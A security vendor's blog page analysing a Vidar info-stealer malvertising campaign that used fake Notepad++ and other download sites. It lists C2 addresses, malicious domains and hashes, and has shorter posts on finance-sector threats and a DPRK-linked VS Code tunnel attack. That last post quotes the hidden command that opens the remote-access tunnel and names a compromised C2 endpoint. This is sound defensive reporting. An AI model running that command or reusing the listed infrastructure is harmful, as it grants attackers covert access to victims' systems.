ブログ
/
Network
/
January 30, 2023

How Vidar Malware Spreads via Malvertising on Google

Discover how Vidar info stealer malware is distributed through malvertising on Google and the risks it poses to users and organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Roberto Martinez
Devalyst, Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
30
Jan 2023

In recent weeks, security researchers and cyber security vendors have noted an increase in malvertising campaigns on Google, aimed at infiltrating info-stealer malware into the systems of unsuspecting victims, as reported in sources [1] [2]. It has been observed that when individuals search for popular tools such as Notepad++, Zoom, AnyDesk, Foxit, Photoshop, and others on Google, they may encounter ads that redirect them to malicious sites. This report aims to provide a high-level analysis of one such campaign, specifically focusing on the delivery of the Vidar Info-stealer malware.

Campaign Details

On the 25th of January 2023, Darktrace researchers observed that the advertisement depicted in Figure 1 was being displayed on Google when searching for the term "Notepad++" from within the United States.

Figure 1: Google Ad shown when searching for Notepad++

As can be seen in Figure 2, the advertisement in question had no visible information regarding its publisher.

Figure 2: Advertisement information

Clicking on the advertisement would direct potential victims to the website notepadplusplus.site, which had been registered on the 4th of January and is hosted on IP address 37.140.192.11. Upon selecting the desired version of the software, a download button is presented to the visitor.

Figure 3: Malicious site with fake Notepad++
Figure 4: Malicious site with fake Notepad++

When clicking on Download, regardless of the version selected, the traffic is then redirected to https://download-notepad-plus-plus.duckdns.org/, and a .zip file with name “npp.Installer.x64.zip” is downloaded.

Figure 5: Traffic redirection

Upon extraction, the file "npp.Installer.x64.exe" has a file size of 684.1 megabytes. The significant size is attributed to the inclusion of an excessive number of null bytes, which serve to prevent the file from being scanned by some Antivirus and uploaded to malware analysis platforms such as VirusTotal, which has a file size limit of 650 megabytes.

Figure 6: npp.Installer.x64.zip

Initially, padding was incorporated at the end of the executable, enabling individuals to remove it while maintaining a fully functional file. However, in the sample analysed in this report, padding was inserted into the binary's central region. This method renders the removal of padding more challenging, as simply deleting the zeroes would compromise the integrity of the file and impede its functionality during dynamic analysis.

Figure 7: Beginning of null bytes padding

Figure 8: End of null bytes padding

After execution, the malware promptly establishes a connection to a Telegram channel to acquire its command and control (C2) address, specifically http://95.217.16.127. If Telegram is not available, the malware will then attempt to connect to a profile on video game platform Steam, in which case the C2 address was http://157.90.148.112/ at the time of initial analysis and http://116.203.6.107 later. It then proceeds to check-in and obtain its configuration file and subsequently downloads get.zip, an archive containing several legitimate DLL libraries, which are utilized to extract information and saved passwords from various applications and browsers. Through traffic analysis, the method by which the malware obtains its Command and Control (C2) location, and analysis of the configuration obtained, it can be assessed with high confidence that the malware in question is the info-stealer known as Vidar. Vidar has been extensively covered by various cybersecurity organizations. Further information regarding this info-stealer and its origins can be found here[3].

Figure 9: Telegram traffic
Figure 10: Telegram channel containing the location of Vidar’s C2 address
Figure 11: Steam profile containing the location of Vidar’s C2 address
Figure 12: Vidar C2 traffic
Figure 13: Vidar configuration obtained from the C2
Figure 14: Libraries downloaded by Vidar

Campaign ID 827

The domain download-notepad-plus-plus.duckdns.org, from which the malware is distributed, resolves to the IP address 185.163.204.10. Using passive DNS, it has been determined that multiple domains also resolve to this IP address. This information suggests that the threat group responsible for this campaign is also utilizing advertising to target individuals searching for specific applications besides Notepad++, including:

  • OBS Studio
  • Davinci Resolve
  • Sqlite
  • Rufus
  • Krita

Furthermore, it has been observed that all the malware samples obtained in this investigation connect to the same Telegram channel, utilize the same two Command and Control IP addresses, and share the same campaign ID of "827".

Conclusion 

The recent proliferation of malvertising campaigns, which are employed by cyber-criminals to distribute malware, has become a significant cause for concern. Unlike more traditional infection vectors, such as email, malvertising is harder to protect against. Furthermore, the use of padding techniques to inflate the size of malware payloads can make detection and analysis more challenging.

To mitigate the risk of falling victim to such attacks, it is recommended to exercise caution when interacting with online advertisements. Specifically, it is advisable to avoid clicking on any advertisements while searching for free software on search engines and to instead download programs directly from official sources. This approach can reduce the likelihood of inadvertently downloading malware from untrusted sources. 

Another effective measure to counteract the threat of malicious ads is the utilization of ad-blocker software. The implementation of an ad-blocker can provide an additional layer of protection against malvertising campaigns and enhance overall cybersecurity.

Appendices

Indicators of Compromise

Filename        npp.Installer.x64.zip

SHA256 Hash  7DFD1D4FE925F802513FEA5556DE53706D9D8172BFA207D0F8AAB3CEF46424E8

Filename         npp.Installer.x64.exe

SHA256 Hash  368008b450397c837f0b9c260093935c5cef56646e16a375ba7c47fea5562bfd

Filename         rufus-3.21.zip

SHA256 Hash  75db4f8187abf49376a6ff3de0163b2d708d72948ea4b3d5645b86a0e41af084

Filename         rufus-3.21.exe

SHA256 Hash  169603a5b5d23dc2f02dc0f88a73dcdd08a5c62d12203fb53a3f43998c04bb41

Filename         DaVinci_Resolve_18.1.2_Windows.zip

SHA256 Hash  73f00e3b3ab01f4d5de42790f9ab12474114abe10cd5104f623aef9029c15b1e

Filename         DaVinci_Resolve_18.1.2_Windows.exe

SHA256 Hash  169603a5b5d23dc2f02dc0f88a73dcdd08a5c62d12203fb53a3f43998c04bb41

Filename         krita-x64-5.1.5-setup.zip

SHA256 Hash  85eb4b0e3922312d88ca046d89909fba078943aea3b469d82655a253e0d3ac67

Filename         krita-x64-5.1.5-setup.exe

SHA256 Hash  169603a5b5d23dc2f02dc0f88a73dcdd08a5c62d12203fb53a3f43998c04bb41

URL      http://95.217.16.127/827

URL      http://95.217.16.127/get.zip

URL      http://95.217.16.127/

URL      http://157.90.148.112/827

URL     http://157.90.148.112/

URL      http://157.90.148.112/get.zip

URL      http://116.203.6.107/

Domain           notepadplusplus.site

Domain           download-notepad-plus-plus.duckdns.org

Domain           download-obsstudio.duckdns.org

Domain           dowbload-notepadd.duckdns.org

Domain           dowbload-notepad1.duckdns.org

Domain           download-davinci-resolve.duckdns.org

Domain           download-davinci.duckdns.org

Domain           download-sqlite.duckdns.org

Domain           download-davinci17.duckdns.org

Domain           download-rufus.duckdns.org

Domain           download-kritapaint.duckdns.org

IP Address      37.140.192.11

IP Address      185.163.204.10

IP Address      95.217.16.127

IP Address       157.90.148.112

IP Address      116.203.6.107

URL      https://t.me/litlebey

URL      https://steamcommunity.com/profiles/76561199472399815

References

[1] https://www.bleepingcomputer.com/news/security/hackers-push-malware-via-google-search-ads-for-vlc-7-zip-ccleaner/

[2] https://www.bleepingcomputer.com/news/security/ransomware-access-brokers-use-google-ads-to-breach-your-network/

[3] https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Roberto Martinez
Devalyst, Threat Researcher

More in this series

No items found.

Blog

/

Network

/

January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

Default blog imageDefault blog image

The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

Blog

/

Network

/

January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

Default blog imageDefault blog image

はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ